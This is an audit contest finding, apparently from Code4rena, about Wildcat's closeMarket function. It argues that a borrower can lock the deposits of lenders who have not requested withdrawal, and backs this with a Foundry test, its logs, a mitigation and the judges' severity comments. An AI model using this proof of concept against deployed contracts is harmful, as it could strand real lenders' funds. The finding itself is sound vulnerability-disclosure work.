howlbot-integration[bot] commented 2 months ago

Lines of code

https://github.com/code-423n4/2024-08-wildcat/blob/fe746cc0fbedc4447a981a50e6ba4c95f98b9fe1/src/market/WildcatMarket.sol#L226-L287

Vulnerability details

Impact

The WildcatMarket::closeMarket is callable only by the market's borrower should they decide to end a formerly operating market. This transfers asset out of market in 2 cases.

To borrower if currentlyHeld > totalDebts. currentlyHeld = totalAssets() held in market and totalDebts = state.totalDebts() withdrawn from market by borrower.
To lender if there is a pending withdrawal batch which is not fully paid off.

And what about lenders who don't withdraw from the market?

There is an edge case here. Lenders who deposit into a market but don't request a withdraw can lose funds if borrower closes the market.

If lenders deposit loans into an operational market, and the borrower takes no debt, and the lenders do not queue a withdrawalRequest, the borrower can intentionally lock the lenders funds by calling WildcatMarket::closeMarket.

Damage of the protocol's reputation is most likely the goal since the borrower has nothing to lose here.

Proof of Concept

Below is a test with logs.


  function test_borrower_can_lock_lenders_funds_via_closeMarket() external asAccount(borrower) {
    address depositor1 = makeAddr("DEPOSITOR1");
    address depositor2 = makeAddr("DEPOSITOR2");
    // asset.mint(depositor, 1e18);
    // _approve(depositor, address(market), 1e18);
    // No need to mint and approve asset tokens for depositor
    // because _deposit() does both for the amount to be deposited.

    console.log("Depositor 1 balance before deposit: ", asset.balanceOf(depositor1)); 
    console.log("Depositor 2 balance before deposit: ", asset.balanceOf(depositor2)); 
    console.log("Borrower balance before deposits: ", asset.balanceOf(borrower));
    console.log("Market balance before deposits: ", asset.balanceOf(address(market)));

    _deposit(depositor1, 1e18); 
    // vm.warp(1 days);
    _deposit(depositor2, 1e18);

    console.log("Depositor 1 balance after deposit: ", asset.balanceOf(depositor1));
    console.log("Depositor 2 balance after deposit: ", asset.balanceOf(depositor2));
    console.log("Market balance after deposits: ", asset.balanceOf(address(market)));
    // startPrank(borrower);
    asset.approve(address(market), 1e18); //8e17

    // vm.warp(1 days); // Doesn't execute if up to 1 day is allowed to pass after deposit is made
    // Must be immediately after deposit 

    market.closeMarket();

    console.log("////////// AFTER CLOSING MARKET //////////");

    console.log("Borrower balance after closing market: ", asset.balanceOf(borrower)); // Took no debt from market
    console.log("Market balance after its closing: ", asset.balanceOf(address(market)));

    // The below scenario will revert since token is same as market underlying asset

    // console.log("////////// AFTER TOKENS RESCUE //////////");

    // market.rescueTokens(address(asset));
    // console.log("Borrower balance after rescue: ", asset.balanceOf(borrower));

  }

The following result was emitted

Ran 1 test for test/market/WildcatMarket.t.sol:WildcatMarketTest
[PASS] test_borrower_can_lock_lenders_funds_via_closeMarket() (gas: 769695)
Logs:
  computeCreateAddress is deprecated. Please use vm.computeCreateAddress instead.
  Depositor 1 balance before deposit:  0
  Depositor 2 balance before deposit:  0
  Borrower balance before deposits:  0
  Market balance before deposits:  0
  Depositor 1 balance after deposit:  0
  Depositor 2 balance after deposit:  0
  Market balance after deposits:  2000000000000000000
  ////////// AFTER CLOSING MARKET //////////
  Borrower balance after closing market:  0
  Market balance after its closing:  2000000000000000000

However, the borrower can't remove the tokens from the market since the WildcatMarket::rescueTokens checks that the token to be rescued is not same as market underlying asset. So the funds will be stuck in the market.

Tools Used

Manual review.

Recommended Mitigation Steps

Each lenders deposit amount should be stored. When they make a withdrawal, it should be deducted from their total deposits, and if not, their remaining deposit amount should be transferred to them should the borrower call WildcatMarket::closeMarket.

Assessed type

Other

3docSec commented 1 month ago

Sticking to M because lock is only temporary (see #52)

c4-judge commented 1 month ago

3docSec changed the severity to 2 (Med Risk)